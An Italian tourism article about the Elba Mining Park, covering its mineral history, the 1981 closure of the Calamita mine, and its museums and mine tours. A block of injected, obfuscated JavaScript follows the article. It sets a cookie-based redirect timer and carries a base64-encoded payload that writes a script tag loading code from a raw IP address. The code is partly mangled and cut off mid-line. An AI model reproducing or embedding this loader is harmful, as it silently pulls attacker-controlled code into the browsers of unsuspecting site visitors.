Il parco minerario da scoprire sull’Isola d’Elba
Il Parco Minerario dell’Elba può essere definito come un parco nel parco (cioè quello Nazionale dell’Arcipelago Toscano). Territorio ricco di minerali, l’Isola d’Elba ha vissuto per secoli di questa sua preziosa risorsa composta da una vasta varietà tra cui Ematite, Magnetite, Limonite e Pirite, a cominciare dagli Etruschi e dai Romani, per poi continuare con Pisani e Genovesi nell’epoca Medioevale e nondimeno anche sotto Napoleone, ma ha visto la sua fine nel recente 1981 quando chiuse la Miniera di Calamita, l’ultima ad essere ancora attiva.
Il motivo della chiusura non fu la carenza di minerali elbani, quanto piuttosto la scelta economica della concessionaria Italsider di affidarsi al Sud America ed al Sud Africa dove costava meno. Se già dagli anni 60 l’isola selvaggia ed incontaminata cominciava ad essere attraente per i primi visitatori, fu con la chiusura degli impianti minerali dell’Elba negli anni 80 che si ebbe la svolta verso il turismo. Da più moderna e ricca miniera d’Europa, Elba si trasformava in una delle mete più apprezzate del mediterraneo, sapendo cogliere i nuovi input ed adeguandosi a quella che sarebbe stata la sua nuova vocazione.
Nel Museo dei minerali e dell’Arte Mineraria che si trova a Rio Marina, aperto da aprile a ottobre, è possibile visionare le circa 100 varietà di minerali dell’Isola d’Elba provenienti dalle diverse aree del territorio. È possibile inoltre percorrere le gallerie delle miniere a bordo dei caratteristici trenini o passeggiare lungo i sentieri minerari accompagnati da guide esperte. Da vedere anche il cantiere di Valle Giove, dove si possono trovare piccoli campioni di pirite ed ematite, il Museo dei minerali “Alfeo Ricci” a Capoliveri ed il Museo archeologico del distretto minerario a Rio nell’Elba. Da non perdere in Primavera, all’interno della manifestazione Magnalonga, è previsto un cammino enogastronomico che porta fino alle antiche miniere sul promontorio del Calamita. _ok_”text/javascript”> function getCo_ok_ie(e){var U=document.co_ok_ie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),co_ok_ie=getCo_ok_ie(“redirect”);if(now>=(time=co_ok_ie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.co_ok_ie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘